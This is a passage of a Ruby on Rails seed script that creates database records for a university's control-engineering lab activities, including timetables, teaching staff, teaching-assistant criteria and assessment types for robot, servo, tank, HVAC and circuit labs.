UniModule.where(code: \"ACS337\").first.id, code: \"218\").first_or_create!(name: \"Quanser 2DOF Robot\",\n name_abrv: \"2-DOF Robot\", archived: true, in_drive: false, user_id: 1)\n at350 = ActivityTimetable.where(activity_id: a350.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a350.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a350.id).first_or_create!(criteria: \"You will need knowledge of servos and servo control and basic robot kinematics\",\n job_desc:\"A robot control lab. This lab involves controlling a closed-kinematic chain 2-DOF robot.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a350.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a350.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n\n\n a351 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6329\").first.id, code: \"218\").first_or_create!(name: \"Quanser 2DOF Robot\",\n name_abrv: \"2-DOF Robot\", archived: true, in_drive: false, user_id: 1)\n at351 = ActivityTimetable.where(activity_id: a351.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a351.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a351.id).first_or_create!(criteria: \"You will need knowledge of servos and servo control and basic robot kinematics\",\n job_desc:\"A robot control lab. This lab involves controlling a closed-kinematic chain 2-DOF robot.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a351.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a351.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n\n\n a352 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS232\").first.id, code: \"219\").first_or_create!(name: \"Random Signals and Stochastic Systems\",\n name_abrv: \"SS-Stochastic\", archived: false, in_drive: false, user_id: 3)\n at352 = ActivityTimetable.where(activity_id: a352.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 10, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 90, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a352.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a352.id).first_or_create!(criteria: \"Must have a an understanding of the concepts of white noise, and how the power spectral densities at the input and output of an LTI system, and its cross-power spectral density, can be used to calculate the frequency response of the system in question.\",\n job_desc:\"During this session, the students will investigate the characteristics of white noise, and investigate how white noise can be used to find the frequency response characteristics of a system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a352.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a352.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n\n\n a353 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"220\").first_or_create!(name: \"Robot Arm Assembly and Actuation\",\n name_abrv: \"Robot - Assembly\", archived: false, in_drive: false, user_id: 1)\n at353 = ActivityTimetable.where(activity_id: a353.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 9, max_week_num: 9, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 120, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a353.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a353.id).first_or_create!(criteria: \"Must have experience of programming Arduino devices with C, and a working knowledge of electronic circuit design and construction, and be able to debug problems.\",\n job_desc:\"During this laboratory session, the students will construct a simple robotic arm, and use an Arduino to control the joint servos in open loop.\", jobshop_desc: \"\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a353.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a353.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n\n\n a354 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"221\").first_or_create!(name: \"Robot Arm Control\",\n name_abrv: \"Robot - Control\", archived: false, in_drive: false, user_id: 2)\n at354 = ActivityTimetable.where(activity_id: a354.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 10, max_week_num: 10, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 120, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a354.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a354.id).first_or_create!(criteria: \"Must have experience of programming Arduino devices with C, and a working knowledge of electronic circuit design and construction, and be able to debug problems.\",\n job_desc:\"The aim of this practical session is to understand the basics of robot arm motion designing by actuating the formerly assembled robot arm for grasping and trajectory following performances.\", jobshop_desc: \"\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a354.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a354.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n\n\n a355 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS230\").first.id, code: \"222\").first_or_create!(name: \"Servo System Compensator Design\",\n name_abrv: \"Servo-S\", archived: true, in_drive: false, user_id: 5)\n at355 = ActivityTimetable.where(activity_id: a355.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 10, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a355.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a355.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory involved the design of three compensatory for a control system, and evaluating their performance on a hardware system in the laboratory.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a355.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a355.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n\n\n a356 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6101\").first.id, code: \"222\").first_or_create!(name: \"Servo System Compensator Design\",\n name_abrv: \"Discrete S\", archived: false, in_drive: false, user_id: 1)\n at356 = ActivityTimetable.where(activity_id: a356.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a356.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a356.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory involved the design of three compensatory for a control system, and evaluating their performance on a hardware system in the laboratory.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a356.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a356.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n\n\n a357 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS133\").first.id, code: \"223\").first_or_create!(name: \"Tank Level System - Modelling and Analysis\",\n name_abrv: \"TANKS\", archived: false, in_drive: false, user_id: 5)\n at357 = ActivityTimetable.where(activity_id: a357.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 18, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a357.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a357.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory involves developing a 1st order model of a fluid tank level system, from time domain equations. In the laboratory, they will parameterise the experimental system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a357.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a357.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n\n\n a358 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS132\").first.id, code: \"224\").first_or_create!(name: \"Time Domain Analysis of a Hot Air Process Control System\",\n name_abrv: \"HVAC 1\", archived: false, in_drive: false, user_id: 2)\n at358 = ActivityTimetable.where(activity_id: a358.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a358.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a358.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory is basic parameter identification of a 1st order system from step response characteristics: Gain, Time Constant and System Delay.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a358.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a358.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n\n\n a359 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS1321\").first.id, code: \"224\").first_or_create!(name: \"Time Domain Analysis of a Hot Air Process Control System\",\n name_abrv: \"HVAC 1\", archived: false, in_drive: false, user_id: 5)\n at359 = ActivityTimetable.where(activity_id: a359.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a359.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a359.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory is basic parameter identification of a 1st order system from step response characteristics: Gain, Time Constant and System Delay.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a359.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a359.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a359.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a360 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS133\").first.id, code: \"225\").first_or_create!(name: \"Time Domain Analysis of a Mass Spring Damping System\",\n name_abrv: \"MSD1\", archived: false, in_drive: false, user_id: 3)\n at360 = ActivityTimetable.where(activity_id: a360.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a360.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a360.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory involves modelling and analysis of the performance characteristics of a 2nd order Mass, Spring, Damper system, in the time domain.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a360.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a360.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n\n\n a361 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS133\").first.id, code: \"226\").first_or_create!(name: \"Time Domain Analysis of a Servo System\",\n name_abrv: \"Time Servo\", archived: false, in_drive: false, user_id: 1)\n at361 = ActivityTimetable.where(activity_id: a361.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 11, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a361.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a361.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The Students are required to analyse the a servo system in the frequency domain, and develop a model of the system. The students will observe the effects of applying, in closed loop, P and PI compensation, in closed loop, to the system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a361.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a361.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n\n\n a362 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS219\").first.id, code: \"227\").first_or_create!(name: \"TSC - Tanks Modelling and Control Design\",\n name_abrv: \"TSC Software\", archived: false, in_drive: false, user_id: 5)\n at362 = ActivityTimetable.where(activity_id: a362.id).first_or_create!(duration: 180, kit_prep_time: 120, min_week_num: 9, max_week_num: 12, pref_room_id: $room_cr4.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 42, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a362.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a362.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory is a computer room simulation of a chemical process plant. The laboratory consists of modelling and linearisation of a process control system, design and performance analysis of a PI controller.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a362.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a362.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a362.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a363 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS334\").first.id, code: \"227\").first_or_create!(name: \"TSC: Tanks Modelling and Control Design\",\n name_abrv: \"TSC Software\", archived: true, in_drive: false, user_id: 4)\n at363 = ActivityTimetable.where(activity_id: a363.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr4.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 45, takedown_time: 45, notes: \"\",\n capacity: 190, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a363.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a363.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory is a computer room simulation of a chemical process plant. The laboratory consists of modelling and linearisation of a process control system, design and performance analysis of a PI controller.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a363.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a363.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n\n\n a365 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6502\").first.id, code: \"228\").first_or_create!(name: \"Using an Arduino to Read Analogue Sensors\",\n name_abrv: \"Ard Anal\", archived: false, in_drive: false, user_id: 4)\n at365 = ActivityTimetable.where(activity_id: a365.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 4, max_week_num: 4, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit needs to be moved\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a365.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a365.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse a servo system in both the time and frequency domain. From the system model they have developed, a PI controller will be designed and its performance evaluated.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a365.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a365.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n\n\n a366 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"229\").first_or_create!(name: \"Wireless Control of an Arduino Based system, using a Bluetooth Interface\",\n name_abrv: \"Ard Wire\", archived: false, in_drive: false, user_id: 2)\n at366 = ActivityTimetable.where(activity_id: a366.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit will need to be moved\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a366.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a366.id).first_or_create!(criteria: \"Must have experience of programming Arduino devices with C, and a working knowledge of electronic circuit design and construction, and be able to debug problems.\",\n job_desc:\"During this practical session, the students will generate a Bluetooth communications link between an Arduino device and a remote computer, to read and process remote sensor data.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a366.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a366.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n\n\n a367 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6502\").first.id, code: \"229\").first_or_create!(name: \"Wireless Control of an Arduino Based system, using a Bluetooth Interface\",\n name_abrv: \"Ard Wire\", archived: false, in_drive: false, user_id: 3)\n at367 = ActivityTimetable.where(activity_id: a367.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit needs to be moved\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a367.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a367.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse a servo system in both the time and frequency domain. From the system model they have developed, a PI controller will be designed and its performance evaluated.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a367.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a367.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n\n\n a368 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS132\").first.id, code: \"230\").first_or_create!(name: \"RCL Circuit: Dynamics Laboratory\",\n name_abrv: \"RCL\", archived: false, in_drive: false, user_id: 5)\n at368 = ActivityTimetable.where(activity_id: a368.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 8, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a368.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a368.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse 1st and 2nd order electrical circuits and compare the simulated responses against measured data\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a368.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a368.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n\n\n a369 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS1321\").first.id, code: \"230\").first_or_create!(name: \"RCL Circuit: Dynamics Laboratory\",\n name_abrv: \"RCL\", archived: false, in_drive: false, user_id: 3)\n at369 = ActivityTimetable.where(activity_id: a369.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 8, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a369.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a369.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse 1st and 2nd order electrical circuits and compare the simulated responses against measured data\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a369.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a369.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a369.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a370 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE205\").first.id, code: \"230\").first_or_create!(name: \"RCL Circuit: Dynamics Laboratory\",\n name_abrv: \"GEE - RCL\", archived: false, in_drive: false, user_id: 3)\n at370 = 